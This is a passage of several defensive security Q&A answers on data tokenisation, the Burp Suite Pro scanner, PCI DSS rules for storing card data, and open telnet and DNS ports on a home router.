If the tokens are really encryption, they might also be able to find patterns which help reveal the encryption key, if the designers haven't implemented the encryption carefully - in some cases, this means that by identifying a single longer value, an attacker can decrypt any other shorter value in the system.

If, on the other hand, you use a unique token for each instance of the same name, an attacker can't perform that cross-referencing process. However, neither can you - if you wanted to extract all the records for people called "Richard", you would need to be able to recreate every token to compare against your search term, which could be a difficult process, or even impossible if the token generation process involved a one-way hashing step.

Basically, if you want to be able to search the data afterwards and get correlation of data, you probably need to consistently tokenise the same value to the same token. If you want to fully anonymise the data, perhaps to provide it to a third party for testing or where analysis is being performed on non-PII elements, it's safer to ensure each instance of the same value in the original data is distinct once processed.


First question I'd ask is do you have the Pro (paid for) version of Burp Suite?  Scanner functionality isn't available in the free version so that would explain the problem you're seeing.


Storing credit card information for later manual processing

The relevant sections of PCI DSS v3.1 are as follows:

  3.2 Do not store sensitive authentication data after authorization (even if encrypted).

However this is allowed if

  There is a business justification and
  The data is stored securely.

Also

  3.2.1 Do not store the full contents of any track (from the magnetic stripe located on the back of a card, equivalent data contained on a
  chip, or elsewhere) after authorization. This data is alternatively
  called full track, track, track 1, track 2, and magnetic- stripe data.

However, storing the CSV after auth is a complete no-no:

  3.2.2 Do not store the card verification code or value (three-digit or four-digit number printed on the front or back of a payment card used
  to verify card-not- present transactions) after authorization.

Regarding the display of the card number itself, it is OK to show the first six and last four digits:

  3.3 Mask PAN when displayed (the first six and last four digits are the maximum number of digits to be displayed), such that only
  personnel with a legitimate business need can see the full PAN.

The rest of requirement three (3.4.1 to 3.7) describes how you can store card data. The long and the short of it is that you must store it encrypted using industry standard accepted encryption protocols. Full disk encryption is acceptable. Then it comes down to key management. This is the tricky part. The key for PCI DSS is to document how this is going to work and how this meets these requirements.


Telnet port open on my router public IPv6 address

Using the telnet interface over an insecure link (the Internet) is insecure, but simply having it there won't do much harm. The insecurity of telnet comes from its lack of encryption, but it's not an issue if you don't send anything sensitive through it in the first place.

However, what is more concerning is the DNS port that is open - it could be abused to attack other hosts through DNS amplification attacks (UDP being spoofable, an attacker sends a DNS request with the source IP being set to the attack's target IP, and your router in turn sends its reply to the target).

Finally, if all of these services are indeed available over the Internet, you should also consider whether the firmware of the router is reliable enough. I personally don't trust routers anymore, even if they seem secure their firmwares often have hidden vulnerabilities like hardcoded passwords or CSRF vulnerabilities in their web interfaces.